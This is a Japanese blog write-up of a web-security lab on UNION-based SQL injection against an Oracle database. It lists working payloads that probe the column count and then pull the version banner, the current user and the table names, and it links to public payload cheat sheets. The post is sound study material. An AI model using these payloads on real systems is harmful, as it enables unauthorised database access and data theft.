Shikata Ga Nai

Private? There is no such things.

SQL injection attack, querying the database type and version on Oracleをやってみた

Hello there, ('ω')ノ

 

SQLインジェクション攻撃、Oracleのデータベースタイプとバージョンのクエリを。

このラボには、SQLインジェクションの脆弱性があって。

UNION攻撃で、クエリから結果を取得できるらしく。

まずは、ページにアクセスして。

 

f:id:ThisIsOne:20210406132356p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210406132428p:plain

 

はじめに下記のクエリで列数の確認をするとエラーが出て。

 '+UNION+SELECT+NULL+FROM+DUAL--

 

f:id:ThisIsOne:20210406132718p:plain

 

2つのカラムのクエリだと正常なレスポンスが返ってくるので。

 '+UNION+SELECT+NULL,NULL+FROM+DUAL--

 

f:id:ThisIsOne:20210406132802p:plain

 

それからカラムのデータ型の確認をして。

 '+UNION+SELECT+'abc','xyz'+FROM+DUAL--

 

f:id:ThisIsOne:20210406133623p:plain


下記を挿入するとデータベースのバージョンが表示されて。

 '+UNION+SELECT+BANNER,+NULL+FROM+v$version--

 

f:id:ThisIsOne:20210406133542p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210406133057p:plain

 

オラクルに関するSQLインジェクションのペイロードはWEB上にあって。

 http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet

 

f:id:ThisIsOne:20210406134324p:plain

 

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md

 

f:id:ThisIsOne:20210406135039p:plain

 

ペイロードを参考に下記を挿入した結果だと。

 '+UNION+SELECT+user,'xyz'+FROM+DUAL--

 

f:id:ThisIsOne:20210406134919p:plain

 

下記のペイロードもあったりと。

 '+UNION+SELECT+table_name,'xyz'+FROM+all_tables--

 

f:id:ThisIsOne:20210406135510p:plain

 

Best regards, (^^ゞ